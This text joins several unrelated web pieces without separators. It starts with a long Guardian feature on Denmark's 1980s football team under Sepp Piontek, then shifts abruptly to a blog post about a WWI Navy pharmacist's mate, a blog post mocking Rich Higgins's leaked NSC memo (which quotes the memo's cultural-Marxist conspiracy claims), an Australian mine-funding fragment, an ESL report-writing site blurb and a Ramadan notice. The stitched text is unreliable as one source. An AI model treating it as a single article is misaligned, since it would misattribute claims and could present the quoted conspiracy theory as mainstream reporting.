NB: This is a feature-length piece, so you might want to print it off and read it on the way home. Not if you're driving, obviously. guardian.co.uk is not legally responsible for any bumpers damaged in the reading of this article
Winning is for losers. Many of life's more interesting stories focus on those who didn't quite make it; who didn't get the girl or the job or the epiphany or even the Jules Rimet trophy. Johan Cruyff said his Holland side of the 70s were immortalised by their failure to win the World Cup and, when World Soccer invited a group of experts to select the greatest teams of all time a couple of years ago, three of the top five sides won nothing: Hungary 1953, Holland 1974 and Brazil 1982. Lying 16th on the list – above any side from Argentina, Spain, Germany, Liverpool, Manchester United or Internazionale – was the Danish team of the mid-80s.
That may seem odd, given that all they achieved was reaching the semi-finals of Euro 84 and the second round at Mexico 86, when, having laughed in the face of the Group of Death, they lost 5-1 to their Spanish nemeses in football's saddest, maddest thrashing, but it shows the extent to which this all-action, ultra-attacking side captured the imagination from the moment they qualified ahead of England for Euro 84.
As the Danish supporters' song went: they were red, they were white, they were Danish Dynamite. They had world-class players such as Preben Elkjær, Michael Laudrup, Søren Lerby, Frank Arnesen and Morten Olsen, as well as a visionary German manager in Sepp Piontek.
While Laudrup called them "Europe's answer to Brazil", most went for what was probably an even more flattering comparison: they are the only side to have been widely compared to the Dutch team of the 70s. In that respect, Denmark were both derivative and thrillingly futuristic. Although they had the Total Football hallmarks – spatial awareness, ceaseless movement and imagination of passing – they were like a fast-forwarded version of that Holland side. No team has ever had such a collection of jet-heeled dribblers.
As with that Dutch collective, the appeal of the Danes went beyond the field of play. They were unique, refreshing and life-affirming. And even though time has not been kind to their array of tomboy mops, matted thatches and cock-rock mullets, they were seriously cool in a languorous, quintessentially Scandinavian way. Yet unlike the Dutch they were not ostentatious. Self-deprecation was the norm, and they revelled in their role as underdogs.
This was the beauty and the beast of Danish Dynamite: it was a love affair with chain-smoking, beer-drinking everymen who were actually top professionals at some of Europe's biggest clubs, but the considerable joy was tinged with the subconscious fear that the folksy, light-hearted Danish attitude was always going to stop them getting right to the top.
There are so many what ifs. What if the wonderful Allan Simonsen had not broken his leg against France in the first game of Euro 84? What if Denmark had not hit the post twice in the semi-final defeat to Spain? What if Elkjær, of all people, had not fired his penalty over the bar in that shoot-out? What if Denmark had rested players for their final group game against West Germany at Mexico 86? What if Arnesen's wife had not fallen ill before that game? And, most of all, what if Jesper Olsen had not played one of the most infamous backpasses in football history against Spain a few days later?
ALEMANO BRUTO
That Denmark were in a position to ponder such things was a miracle. A tiny country with a population of just five million had never previously produced anything resembling a decent team. The main exports had been bacon and beer, porn and cheese. Danish football did not even turn professional until 1978.
They had reached Euro 1964, but only because qualification was an unseeded knockout: the teams they beat were Malta, Albania and Luxembourg. They took bronze at the 1948 Olympics and silver in 1960; apart from that, nothing. In the documentary Og Det Var Danmark, Piontek's predecessor, a likeable mutton-chopped dreamer called Kurt Nielsen, is asked before a game whether he has any tactical plans. "No," he says. "Tactically it's still about scoring goals."
Simonsen was European Football of the Year in 1977, but despite that and the fact Nielsen's team contained a number of players who would star in the 1980s – Morten Olsen, Simonsen, Arnesen, Elkjær, Lerby and Jens-Jørn Bertelsen – they did not take international football particularly seriously. They hung out at a Copenhagen nightclub that became known as "the clubhouse". Denmark were an international team in name, and a pub team in nature.
It was richly ironic that it would take booze money to turn such an attitude around. In 1978 Carlsberg said it would give the Danish Football Association (DBU) a million-kroner sponsorship on the proviso that professional standards were set. That process was accelerated by the fact that so many of the national team were playing abroad, and values learned there were slowly seeping in. A particular influence, unsurprisingly given the way the team evolved, came from Holland: Arnesen, Lerby, Jesper Olsen and Jan Molby were all talked at by Johan Cruyff in the twilight of his career. "He was like a king holding court," said Molby in his autobiography, Jan The Man. "He knew everything and you couldn't help but listen. At times you'd want him to shut up, but he wouldn't." It was worth it: Cruyff broadened their horizons as only he could.
Arnesen and Lerby left the Copenhagen club Fremad Amager to move to Ajax in 1975 at the age of 19 and 17 respectively. Denmark got a headstart on football globalisation, benefiting from the enlightenment and experience that comes with playing abroad. At Euro 84, their 20-man squad contained 14 overseas-based players; the other seven teams had only five between them. At Mexico 86, their squad included players from the champions of Italy, West Germany, England, Holland and Belgium, but not Denmark.
Yet the most important component was travelled in the opposite direction. Piontek, who would later be responsible for the emergence of Turkish football around the turn of the century, took over in 1979; he was only 39, but had already managed Werder Bremen, Fortuna Dusseldorf, Haiti and St Pauli. Though ostensibly dour – he was christened Alemano Bruto, the tough German, during his time in Haiti – he was witty, as comfortable in his own skin as it is possible to be, and he'd been around a lot more than the block.
"I was the national manager in Haiti under the dictator Baby Doc – son of Papa Doc, who murdered 11,000 people," he says in Og Det Var Danmark. "I've met Idi Amin from Uganda. He was a former boxer and had a flat nose. I met him in Saudi Arabia and he said: 'Good discipline, good coach.' I've met [Nicolae] Ceausescu's son, the manager of Steaua Bucharest. Saddam Hussein's son Uday Hussein. Yes, I've met a few."
He had met nothing like the Danes when he took over in 1979. "'I can't do anything with this team', I thought," he said. "I only saw them six times, three days a year. There were limits to what I could achieve. How could I get them to work as a team?"
Piontek was not an overnight success, because he was fighting against an entire culture. He dumped the No1 goalkeeper Birger Jensen, a symbolic sacrifice, but it took a long time for his doctrine to be accepted. "Danes don't like the word 'discipline'," he said. "'Nobody bosses us around. We're no good anyway.' I had to change that." The first signs came when Denmark won eight out of nine in 1981, including a rollicking 3-1 win in a World Cup qualifier against the eventual champions Italy, the Azzurri's only defeat en route to lifting the trophy.
The tipping point arguably came when Piontek moved the training camp to the headquarters of the Danish Confederation of Sport, a bleak concrete dump called Idraettens Hus, with barbed-wire fencing and no TV or phone in the players' rooms. This, the players quickly realised, was serious business. By the standards of the day, Piontek was incredibly demanding and meticulous. He would have three-hour tactical meetings before games; and at his boot camp before Mexico 86, players were pushed to breaking point, with altitude training in oxygen masks as part of a daily programme that began at 8am and ended at 11.30pm.
If Piontek was fortunate to be blessed with an exceptionally talented group of players spanning two generations – in the Tyler Barker age, Morten Olsen (60) is easily old enough to be the father of Michael Laudrup (45) – it took an even rarer managerial talent to harness that group. Make no mistake: we are, or at least we should be, talking about one of the all-time greats here.
Another of his strengths was tactical enlightenment. The presence of the remarkable Morten Olsen as libero allowed his team to switch seamlessly between 1-2-5-2 and 1-3-4-2 formations, often within games. This was Jackson Pollock football: players would go wherever instinct took them as part of a system that many respected judges feel was even more fluid than the 70s Dutch side. Piontek called it the "contra system", and it was perhaps best exemplified by the right-back John Sivebæk's extraordinary goal against Ireland in 1985.
Denmark treated the ball with the utmost care; their goalkeeper, for example, never, ever kicked from the hand. This led to a number of goals that came from what were almost relay runs straight down the centre of the pitch, most notably against Scotland at Mexico 86. John Eriksen's goal against West Germany in the same tournament, a creation of delicious simplicity, even came from a chipped goal-kick. A chipped goal-kick! Both goals were notable for the way the attacks crescendoed. Denmark were full of mouthwatering dribblers: Arnesen, Laudrup, Elkjær and the two Olsens. All were quick but all, more importantly, had a devastating change of pace.
Positivity was ingrained in the side – in the Mexico 86 match against West Germany, Lerby ran 30 yards to deliver a ferocious bollocking to Sivebæk just for passing the ball back to the keeper – but not to the point of naivety. The first name on Piontek's team sheet was the underrated defensive-midfield whippet Bertelsen, while he instructed Klaus Bergreen to man-mark Michel Platini in the first game of Euro 84. (Platini scored a deflected winner, but Bergreen did a decent job and lamented Platini's "lousy shot" on live TV after the game.) The defenders are often criticised, but this is more than a little harsh. Denmark did not have a glass jaw, only an exposed one.
Piontek was also stubborn, but not intractable: when Morten Olsen and Søren Busk approached him suggesting the sort of pressing game and cavalry-charge offside trap that would later become familiar at Arrigo Sacchi's Milan, Piontek assessed its merit and soon implemented it. Nor was he averse to displays of sentiment: he included Simonsen, who at the age of 33 had not played for Denmark since breaking his leg at Euro 84 and had never fully recovered, in the World Cup squad. He then gave him 20 minutes as substitute in the dead rubber against West Germany, a gesture of the richest humanity.
And though Piontek was a strict disciplinarian, he rarely pushed it too far. "He came with a lot of German discipline but also knew he had Danish players – they also need some of their own responsibility and he found a good balance between discipline and freedom," said Morten Olsen, who has been Denmark's manager since 2000. "We couldn't play as a German team, we had to play as Danes. He knew that and that was very, very clever."
Similarly, even though Piontek had clamped down on the side's booze culture, he remained aware of the team-bonding capabilities of alcohol. When Denmark reached the semi-finals of Euro 84, he allowed the players a night out with a curfew time of 5am. (Most arrived back just in time for breakfast, and lunch had to be put back to 5pm.) The fact that such a night out was now a novelty was testament to the extraordinary change in attitude that Piontek had engendered.
WHAT IF JESUS COMES BACK? THEN WE'LL MOVE ELKJAER OUT WIDE
Piontek and his team took the whole of the country on a vicarious voyage of discovery: as Denmark's first great side, they were subject to the peculiar kind of goodwill, gratitude and unconditional love that only occurs when you are exploring virgin territory. There was none of the wearying cynicism, complacency and expectation that accompanies modern football. This was an intoxicating red-and-white fairytale. The commentator Svend Gehrs, Denmark's answer to John Motson in the 80s, hit the nail on the head when, seconds after Denmark had qualified for the semi-finals of Euro 84, he described them as "this unconquerable team of optimists". Throughout that period, Gehrs had a happy habit of capturing a nation's voice:
This was not just blind partisanship. Neutral observers were similarly moved. When Laudrup scored a peach in the 6-1 win over Uruguay at Mexico 86, ITV's John Helm announced: "The boy's a genius!". After that same game, a Mexican TV commentator said: "Senors, Senores, you have just witnessed a public fiesta of football."
There was a fiesta among the public, too. Inextricably linked to the Danish Dynamite experience were the Roligans, the Denmark fans renowned for their peaceful good cheer. (Rolig is the Danish word for calm and mild-mannered). Almost all clad in red and white, they were shiny, happy people, described as the "nicest drunks in the world" (you can see some in this marvellous gallery), and even won the Unesco Fair Play Trophy in 84.
Around 16,000 Danes went to Euro 84 in France; among their number for the semi-final was a young Peter Schmeichel, who did the 38-hour round-trip even though he was playing for Hvidovre against Brondby the next day (they lost 8-1). At Mexico 86, their group included the Scotland pair of Steve Nicol and Charlie Nicholas, who joined in the merriment after the match between the sides. The Roligans had the same infectious sense of fun as their team and complete love for the players. One day, in Copenhagen, somebody graffitied "What if Jesus comes back?" on a wall. The next day, the answer came: "Then we'll move Elkjær out wide."
It's no surprise the players were so popular. It's not just that they were so obviously talented, but they were normal blokes who seemed as boyishly excited about what they were achieving as everyone else. And they happily laughed at themselves. All of them, and even Piontek, hammed it up in the video for one of the great World Cup songs, the gloriously kitsch Re-Sepp-Ten ("We are red, we are white, we stand side by side"). Simonsen was happy to be killed off in the 1977 film, Skytten. And when his career was all but killed off after he broke his leg at Euro 84, the players asked to sing a comic folky song for him on live TV (it is the fifth video down on this page): "Allan you're our friend … we think of you again and again … this is a song for you … Hope to see you in Paris." Theirs was a genuine brotherhood. "They were willing to make fools of themselves to show Allan he was in our thoughts," said Piontek. "They worried about their friend whose career, in reality, ended here. That proved to me they were a team." There is so much to say about each individual player, but as this piece is already ridiculously long we've put those player profiles here.
'ENGLAND'S SHAME'
The Danish Dynamite story began as it would effectively end: at the feet of Jesper Olsen. His backpass against Spain in 1986 provided a neat bookend to a dream that began with his stunning last-minute equaliser in the first Euro 84 qualifier against England.
It was Bobby Robson's first game in charge, in September 1982, and England had not conceded in over seven hours of international football. Yet in a tumultuous atmosphere that had the feel of an uprising they were run absolutely ragged, with Elkjær giving Osman one of the great chasings, and would have been well beaten were it not for Shilton.
In the end, they almost grabbed a scandalous victory. But Olsen, aided by a routine off-the-ball run from Lerby that caused all manner of chaos, swerved irresistibly through the heart of England's defence before passing the ball coolly under Shilton. "Denmark were brilliant," enthused Robson, who couldn't let his own concerns override the sheer joy at seeing such a thrilling emergent force. That did not stop the tabloids printing headlines such as "RUBBISH" and "ENGLAND'S SHAME".
The risible ignorance of such a response would soon become clear. In the 12 months before the return fixture, Denmark established themselves as one of the world's best sides. When they hammered the future European champions France 3-1 in a friendly two weeks before meeting England again, the watching Robson described their performance as "chilling" and said they were "a formidable team, one of the best I have seen for 10 to 15 years".
If anything, Robson's comments served to numb his own players into subservience. Denmark had such an air of calm that nobody realised they were equally terrified going into the match at Wembley, which they only realistically needed to draw to maintain an iron grip on qualification. It was a two-card poker game in which both parties had a two and a seven of different suits. "We entered the pitch bluffing," said Morten Olsen. "They knew we were good but we made us out to be even better."
Against a meek England, Denmark's 1-0 victory was almost too easy: even though they didn't have many chances either side of Simonsen's 38th-minute penalty, they kept the ball with a comfort that sent English football into one of its occasional bouts of soul-searching. In The Times, Stuart Jones said there was a "numbing inevitability" to the result.
The victory, watched by over 80% of the Danish population, was crucial to the emergence of the team. "It signalled to a great group of players how much they could achieve," said Piontek, "for England were still considered one of the top teams." So, now, were Denmark. Victory in Greece took them to the European Championship and at the end of 1983 they were voted World Soccer's National Team of the Year, with Piontek named Manager of the Year.
NAKED DISAPPOINTMENT
Denmark went to Euro 84 as one of the fancied teams, despite an appalling build-up: their seven warm-up matches brought a 6-0 defeat, a 4-0 defeat and only three goals. Their group contained the hosts and clear favourites France along with Yugoslavia and Belgium. They lost a cagey opening match to France 1-0, a game best remembered for the hideous crack when Simonsen's leg broke after a challenge from Yvon La Roux, and for Manuel Amoros headbutting Jesper Olsen.
Four days later they thrashed Yugoslavia 5-0, although the official Uefa site says "there has never been a more misleading scoreline". World Soccer partly agreed, suggesting the match could have ended 10-6 or 12-7 to Denmark; either way, it meant Piontek's team required only a draw against Belgium, who themselves needed a win, to reach the semi-finals.
It was a bona fide classic, end-to-end and staggeringly ill-tempered in view of the fact that many of the Denmark side played in Belgium. There were nine Anderlecht players on the pitch at one stage and, when Rene Vandereycken banjoed his club-mate Arnesen, another club-mate Morten Olsen shoved him over. "If I had a gun," said the usually calm Olsen, "I'd have shot him." It was all so heated that, at one stage, the referee pushed Bergreen over.
Belgium went 2-0 up shortly before half-time, but a penalty from Arnesen and a header from Brylle put Denmark level and then, with six minutes to go, Elkjær scored his famous solo goal. Denmark had discovered yet more uncharted territory: a European Championship semi-final against Spain.
Impossibly, this was an even better game. Lerby gave Denmark an early lead, and, in an incredible, you-attack-we-attack second half, Arnesen and Elkjær hit the post either side of Antonio Maceda's equaliser. Spain had plenty of chances too. Bergreen was sent off in extra time for a second bookable offence by the English referee George Courtney, but Denmark held on for penalties.
The first to miss was Laudrup, with the score 2-2, but Courtney booked the Spanish goalkeeper Luis Arconada for encroachment and ordered a retake. On it went to 4-4 when Elkjær, the man you'd have put your house on, walked coolly up to the spot. "I wasn't nervous at all," he said in Og Det Var Danmark. "I'd taken six penalties for my club that year and scored on all six, so I was sure I could do it." He passed it high over the bar.
Qvist ran across to hug Elkjær and promise he would save the next penalty, but Manuel Sarabia put Spain through to the final. Elkjær trudged off, his backside visible because of a huge rip that had resulted from some earlier mistreatment by a Spanish defender. Seeing another man's bare backside will never again be infused with such poetic sadness.
THIS WILL ALWAYS BE 'THE GAME'
While the world is reasonably familiar with Denmark's very public exploits at Euro 84 and Mexico 86, their apogee was a private party that occurred between the two tournaments: an extraordinary 4-2 victory over a very good USSR side in the 1986 qualifiers. The date was 5 June 1985, Danish constitution day, and it was when Danish Dynamite became cultural history. Not until then did the Danes truly believe that the fairytale of Wembley and France was more than just that. Not until then could the fans finally stick it to the chattering classes who had rejected football as an oafish pastime.
The game itself, played on a Wednesday afternoon in an astonishing atmosphere, could easily have ended 6-6. Elkjær and Laudrup – at that stage the world's best strike partnership, followed by a lot of daylight – each scored two, and it swung from end to end at a pace that looks fast even by today's standards (watch most 80s games and you'll see how much this has changed). It was a relentless, pulsating contest of audacious finishing, goal-line clearances and breathtaking midfield charges that split open defences like a Japanese steel blade to the belly of a bloated tuna.
Piontek described it as the most beautiful game during his reign. "What you saw from Laudrup and Elkjær against the Soviet Union really was not normal," he said in the book Tynd Luft (Thin Air). "[The Soviet players] were so strong. They could have won 5-4 or 6-5. There were no breaks. It went boom-boom."
"For me this will always be the game," adds Laudrup. "A lovely sunny afternoon, a packed national stadium and then the game itself: six goals – which could easily have been 10 – one amazing opponent and a match where nothing was decided even when at 4-1 after 67 minutes. I've haven't had that feeling before or after."
It is the only football match that Molby owns on video. "I was on the bench," he said, "and it's the best match I've ever seen."
MEXICO-BOUND
That USSR game was part of a topsy-turvy 1985 that summed up the Danes' thrilling unpredictability. They played eight games that year; in four they failed to score, in the other four they scored 17. Five of those came in their penultimate World Cup qualifier, away at Norway. Denmark went in at half-time 1-0 down and in serious danger of missing out on the World Cup. They hammered five unanswered goals in the second half and then eviscerated Ireland 4-1 at Lansdowne Road in their final qualifier. Perhaps it was simply a case of them finally getting their just deserts: in two scoreless qualifiers against Switzerland, they hit the post five times and missed a penalty.
Yet that is not the only year in which they had peculiar results. In 1984 they lost 6-0 and 4-0 in friendlies against Holland and East Germany before excelling at Euro 84. They could be erratic within games, too: in their Mexico 86 match against Scotland, Denmark were kept at arms' length for 75 minutes of the match. But in the other 15, leading up to Elkjær's only goal, their rhythmic, incessant pressure made you feel that a goal was not so much in the post as sent by recorded delivery.
This was a team who could win 6-1 one week and lose 5-1 the next – as they did at Mexico 86, when they became the only team since the 50s to score and concede at least five at the same World Cup.
'BUT JESPER, JESPER, JESPER…'
"In Mexico we shall attack, like we always do," promised Piontek. And even though they went out in the second round – the same as entirely forgettable sides from Italy, Morocco, Paraguay, Bulgaria, Poland and Uruguay – they were undeniably one of the teams of the tournament. It is easy to look back with a revisionist gaze and assert that they never had a realistic chance of actually winning it, but that simply is not the case.
After the first week of the tournament, The Guardian's David Lacey wrote that they were "at the head of a distinguished list of European candidates" to win the tournament. When the ITV co-commentator Billy McNeill was asked during the Uruguay game whether they could win it, he said: "It would be difficult to back against them." In the ITV studio, Brian Clough raved about them. They were the real deal. Even after the tournament, Fifa's technical report noted that they "played the most spectacular football during the tournament … their readiness to risk something, linked to a full physical commitment, provided the Danish game with an exceptional dynamism."
It was not just their futuristic football that caught the eye. Their kit was groundbreaking and breathtakingly cool: red-and-white halves were nothing that hadn't been seen before, but the white and red pinstripes on them were, like the team, entirely new. The kit was premiered at a fashion show that was live on the evening news of the sole Danish TV channel at the time, with Morten Olsen, Per Frimann and, of course, Arnesen modelling it on stage. It was quickly called "the carnival suit".
In a sense Denmark were lucky: Fifa banned similar halved shorts, which would have been too much of a good thing, and insisted that they could be only one colour for TV purposes. So Denmark were left with basic red or white shorts to go with their red or white halved shirts, and used each permutation in their four games.
Denmark were placed in the very first Group of Death with West Germany, the South American champions Uruguay and Scotland. Denmark were bottom seeds because it was their first World Cup. Despite that, and the truly appalling pitch in Nezahualcoyotl (staggeringly, it is described as "very good" by ITV's Helm; in those days if it was green it was great, even if it was in reality a bobbling beast), they breezed through with three wins out of three.
First came a tight 1-0 win over Scotland, thanks to a typical through-the-brick-wall goal from Elkjær, and four days later they wowed the world by trouncing Uruguay 6-1. It can't be ignored that Uruguay were reduced to 10 men at 1-0, but by then Denmark were already all over them. It was unforgettable stuff. Laudrup scored a solo goal of such smooth, bewitching brilliance that it almost overshadowed the fact that Elkjær scored three and made two in one of the World Cup's great individual performances.
That left Denmark top of the group and with a conundrum going into the final match against West Germany: draw or win and they would face Spain in the second round, lose and they would have an easier match against Morocco. Any potential inclination to throw the game was washed away by the opposition: Denmark had never beaten West Germany, except for a friendly in 1971 when Germany fielded an amateur side, and had not played them for 14 years because of German indifference towards an opponent they believed to be beneath them. And Piontek, never given a real chance in his homeland, was desperate to win.
Having beaten Italy, France, England, the USSR and Uruguay in Piontek's time, this was an irresistible chance to bloody the nose of another supposed superior. Even though their second-round game was just five days away, Piontek rested only the players on a yellow card, Nielsen and Bergreen. "We had a team meeting and decided to go for the win," said Molby. "The truth is we felt we could take them all." They took Germany, 2-0 in another staggeringly open game, with Jesper Olsen scoring a gloriously arrogant, gently caressed penalty that brought this superb commentary from Barry Davies: "'Where am I going to put it? You've gone the wrong way, haven't you.'"
Unbeknownst to Denmark, their campaign was going the wrong way. This should have been one of their finest hours, but when you watch the game now you can almost hear the Jaws music. The genesis of the defeat to Spain lay here, with the frustratingly avoidable sending-off, and consequent suspension, of their playmaker Arnesen.
"I had been irritated throughout he game," he said in a radio interview in 1989. "My wife had fallen ill. She was lying there and one guy said it was meningitis and the other said it was a virus. I think that was why I was incredibly aggressive. She wasn't on her death bed. I think all the excitement that came with this had an indirect effect on what happened."
Arnesen was ticking throughout the game. First he was booked for dissent in the first half when he should have been given a penalty. Then, after a breathtaking, high-speed dummy on the counter-attack that would have put him through on goal, he was butchered by Ditmar Jakobs. In hindsight, it is obvious that Piontek should have taken him off. But this was Germany, this was payback. And with a couple of minutes left in the game, Denmark paid for it.
"I get the ball in the halfway line and it is as if I'm trying to goad [Lothar] Matthaus," says Arnesen. "A little bit too much. I could have just played the ball to Morten Olsen, but I keep the ball demonstratively a bit too long and then he comes gliding from behind and kicks me but doesn't hit me, and then kicks again. Just as I get up, I make a reflex move, where I just kick out behind me and just as I kick and see the ref, who is standing 20 metres from me, I knew that I was going to get sent off."
By the standards of the day, it wasn't a red-card offence – it was Beckham on Simeone, basically – but back then referees showed a straight red even when it was for two yellows, so we can perhaps assume that was the case here. Arnesen put his hands to his knees, trying to work out what he had done, before his body relaxed itself and did a backwards cartwheel. He then sat with his head on his knee for 10 seconds before walking over to shake Matthaus's hand and apologise.
"And then you walk. All the way to the other side of the pitch. Damn, it was as if something was humming ... Humming in my head. I didn't hear anything. I walked past [the West German squad member] Dieter Hoeness, who said: 'Why do you do something like that?'."
Denmark missed Arnesen terribly in the second-round match against Spain, although that was not apparent at first. They took the lead through another magnificently lazy penalty from Olsen. But Spain would not break. Unlike almost every other team in the world, they were not afraid of Denmark. This wasn't a great Spain team, far from it, but something about Denmark rubbed them up the wrong way and made them find an extra level of determination. They would also beat Denmark at Euro 88 and then, on the darkest of nights for Danish football, in qualification for the 1994 World Cup.
If Denmark were marginally the better side in the first half eight years earlier, they were far from their best. And then the entire game changed on the stroke of half-time. Hogh threw the ball out to Olsen, and he dummied Julio Salinas before playing an inexplicable, blind pass across the face of his own box. Hogh wasn't there, but Emilio Butragueno was, and he tapped it into the net. "But Jesper, Jesper, Jesper, that's lethal" said Gehrs with the most heartfelt resignation and national melancholy.
"I shouldn't have played that pass," said Olsen 10 years later. "It's just one of those things you can't change. If it had happened in the group stages, we would have played another game, and it could all have been forgotten. Of course, it's unfair that I will be remembered for such a thing, but that's how it is. It's mainly in Denmark people still talk about it so maybe it's good that I don't live there."
So they do. To this day, a serious faux pas is described as a "rigtig Jesper Olsen" (a real Jesper Olsen), whether by the general public or even in parliament. It was traumatic stuff, for sure, yet the received wisdom that Denmark simply collapsed after that doesn't ring true. They started the second half strongly, with Elkjær nearly scoring after an outrageous angled run from the halfway line. He then missed a decent chance before, against the run of play, Butragueno headed Spain in front in the 56th minute.
Piontek immediately brought on Eriksen, a forward, for Andersen, a defender, and that left Denmark exposed to ruthless Spanish counterattacks. Some will say that Piontek went for it too soon – there was still half an hour to go when Eriksen came on – but Denmark were used to playing with three at the back, and an almost identical substitution at an identical stage of the Euro 84 match against Belgium had been rewarded when the substitute Brylle scored within three minutes.
The problem was not the change but the fact that, for whatever reason, Denmark completely lost their discipline. A nominal 3-5-2 formation was more like 3-1-6. For the third goal, Busk was left one-on-one against Butragueno, with no other player within 30 yards; for the fourth, Spain had four attackers on three defenders. It unravelled quickly and disastrously, and Denmark were spanked. This was truly shocking stuff: those who woke up the following morning (it was an 11pm kick-off in England) to be told the score were not at all surprised. Then they were told who had won.
With such a staggering defeat, there was an inevitable need to look for reasons. A frequent refrain in the British broadsheets was that Denmark's lung-busting power game could not cope with the squeezed itinerary of a major tournament, particularly in Mexican heat, while Piontek blamed the psyche that he had fought so hard to change.
"This Danish attitude started creeping in (after the group stages in Mexico) where players thought, 'Oh well, we've made it this far, we've done brilliantly and nobody can blame us'," he said in Tynd Luft. "At the end, there was something missing in their frame of mind. This transition to: 'We can and we must!' Perhaps it hadn't succeeded as well as I thought."
THE NEXT GENERATION
That, pretty much, was that. By Euro 88 the team was past it, and lost all three games to Spain, Italy and West Germany. They failed to reach Italia 90. One generation morphed into the next and, astonishingly, an inferior Denmark side won Euro 92.
By now Piontek had gone: he was tipped over the edge in the summer of 1990 when a tabloid made dark claims about a bank account in Liechtenstein. He resigned and took over as manager of Turkey. Some said it was a smokescreen; Piontek was open about the fact he wanted to take advantage of Turkey's lenient tax laws, yet says he would have stayed but for that story. Either way, it was a sad end. He was not around to preside over Denmark's most successful team, but he had certainly presided over their most memorable one.
The information written on the back of the postcard shows an identification of the sitter as a B.G. Miller. He is identified as being a Pharmacist’s Mate 1st Class from Salt Lake City, Utah who was on duty at one point at a hospital in Samoa on August 1st, 1918. Additional info added to the photo includes an anecdote about his position as a Mormon missionary in Germany during the breakout of the war between Germany and France.
With a little luck and a lot of research I was able to track down our mysterious B.G. Miller. Byron Gardener Miller was found listed in the Utah World War 1 Military Service Questionnaire on ancestry.com. Please see his card below:
It looks like Byron attended the University of Utah for a year before being shipped off for his overseas missionary work. This is likely the reason for his service as a Pharmacist’s Mate with the US NAVY as can be seen in the details of his uniform.
The reference to his missionary service in Germany during the outbreak of war in July of 1914 is partially confirmed through my discovery of his listing aboard a ship ledger arriving in Montreal, PQ in September of 1914.
His service in Samoa has also been confirmed through the same series of records.
Sadly, his arrival back in the US in 1919 wasn’t likely a time of joy for the Miller family; a Utah death certificate shows that he died of influenza only a few months later on February 7th, 1920. Interestingly enough, my research into the US Hospital in Samoa shows that a MASSIVE flu outbreak in the Samoan Islands lead to the deaths of nearly 25% of the population. The US Navy set up an epidemic commission to deal with the issue. The results of the intervention in American Samoa were incredible. Apparently the method of using maritime quarantine lowered mortality rates to nearly 1%. It’s strange that Byron would die of influenza only a few months later while in the United States……
For the 1919 report please CLICK HERE
One of the main goals of this website is to help share photos and pertinent military service information with the families of the men and women depicted in the images I collect. In this case, I’m hoping a Miller family representative will discover a rare image of their ancestor who witnessed a formative time in history.
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H.R. McMaster has been cleaning house at the National Security Council recently. In particular, last month he fired a protege of Michael Flynn named Rich Higgins for writing some kind of outrageous memo that eventually found its way to Donald Trump’s desk. Did Higgins deserve this just for an ill-considered bit of analysis? Today we can finally make up our own minds, because someone has leaked the full memo to Foreign Policy. Here’s how it starts:
POTUS & POLITICAL WARFARE
May 2017 BACKGROUND. The Trump administration is suffering under withering information campaigns designed to first undermine, then delegitimize and ultimately remove the President. Possibly confusing these attacks with an elevated interplay of otherwise normal D.C. partisan infighting and adversarial media relations, the White House response to these campaigns reflects a political advocacy mindset that it is intensely reactive, severely under-inclusive and dangerously inadequate to the threat. If action is not taken to re-scope and respond to these hostile campaigns very soon, the administration risks implosion and subsequent early departure from the White House.
I’d fire Higgins just for his turgid prose style, but maybe you think that’s too harsh. What does Higgins actually have to say? His thesis, it turns out, is that Trump is the target of a lethal, well-funded, and extremely disciplined attack from cultural Marxists who are employing “political warfare as understood by the Maoist Insurgency model.” It’s hard to figure out which part to excerpt to give you a good taste of his John Birch Society mindset, but here’s a bit of it:
While the attacks on President Trump arise out of political warfare considerations based on non-kinetic lines of effort (as discussed below), they operate in a battle-space prepared, informed and conditioned by cultural Marxist drivers….As used in this discussion, cultural Marxism relates to programs and activities that arise out of Gramsci Marxism, Fabian Socialism and most directly from the Frankfurt School. The Frankfurt strategy deconstructs societies through attacks on culture by imposing a dialectic that forces unresolvable contradictions under the rubric of critical theory….These attack narratives are pervasive, full spectrum and institutionalized at all levels. They operate in social media, television, the 24-hour news cycle in all media, and are entrenched at the upper levels of the bureaucracies and within the foreign policy establishment. They inform the entertainment industry from late night monologues, to situation comedies, to television series memes, to movie themes. ….While there is certainly a Marxist agenda and even Islamist motivations that must be seriously addressed in their own right, these motivations alone seem inadequate to explain the scope and magnitude of the effort directed against the president. The economic drivers behind the Marxist and Islamist ideologues are enormously influential and seek to leverage these ideological movements for their own self interests. While beyond the actual scope of this document, the benefactors of these political movements include; Urban Real Estate who depend greatly on immigrant tenants, International Banking who seeks to maintain US debtor status so as to control the application of American power, and elements of the business sector that depend upon immigrant labor or government infrastructure. The overall objective of these economic forces is the forced urbanization of the populace, thereby necessitating a larger, more powerful government. In summary, this is a form of population control by certain business cartels in league with cultural Marxists/corporatists/lslamists who will leverage Islamic terrorism threats to justify the creation of a police state.
Did you make it all the way through that? No? Shame on you. This is only a couple of paragraphs! There are seven full pages of this stuff in the full memo. Apparently Higgins never got the word that Trump doesn’t read anything longer than three or four bullet points.
This is bananas. It’s like a memo version of one of Glenn Beck’s chalkboard fantasias except that it was written by an actual White House official who works at the National Security Council. McMaster decided he didn’t want anyone at the NSC whose brain was full of gibberish like this, especially when he himself was pretty clearly one of the targets of Higgins’ conspiracy theorizing. So he fired him. Then he fired a few other people associated with the memo.
But there’s more. Apparently the memo was circulated widely, and eventually Don Jr. got hold of it. He passed it along to dad, who loved it. When he found out that the author had been fired, Trump was furious. And according to an inside source, “He is still furious.” The upshot of all this, according to the FP story, is that McMaster is isolated in the White House because, I guess, he’s one of the few people there who isn’t crazy:
Despite Higgins’s firing, McMaster’s difficulties inside the White House aren’t going away anytime soon — though he might. McMaster “doesn’t really have any allies,” said a source familiar with the NSC staff. “It doesn’t seem as though he has the ear of the president, which is obviously essential to his survival.”
The opposition supports the $22 billion endeavour, which backers say will create thousands of jobs, but resources and northern Australia spokesman Jason Clare has dismissed Deputy Prime Minister Barnaby Joyce's claim on Tuesday the government funding is a "tipping point issue to get this mine going".
"The project should stand on its own two feet," Mr Clare told ABC Radio on Wednesday morning.
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Welcome to ESLReports.com! This website is a tool that has been created to make the life of ESL/EFL teachers easier when it comes to report writing time. The reality for a lot of teachers is that writing unique, meaningful comments for hundreds of students every month, term or semester is just too hard. Especially when school owners, managers or principals are making sure that all your comments are positive white lies. ESLReports aims to provide a number of ways for you to get your report card comments on your manager's desk ASAP.
Muslims to begin celebration of Ramadan officially Monday June 6
Ramadan, the 9th Month of the Islamic Calendar, officially begins on Monday June 6 in the early morning, after the first sighting of the new Moon. Fasting will begin at dawn the following morning. Muslims around the world will begin fasting during daylight hours each day for the entire month.
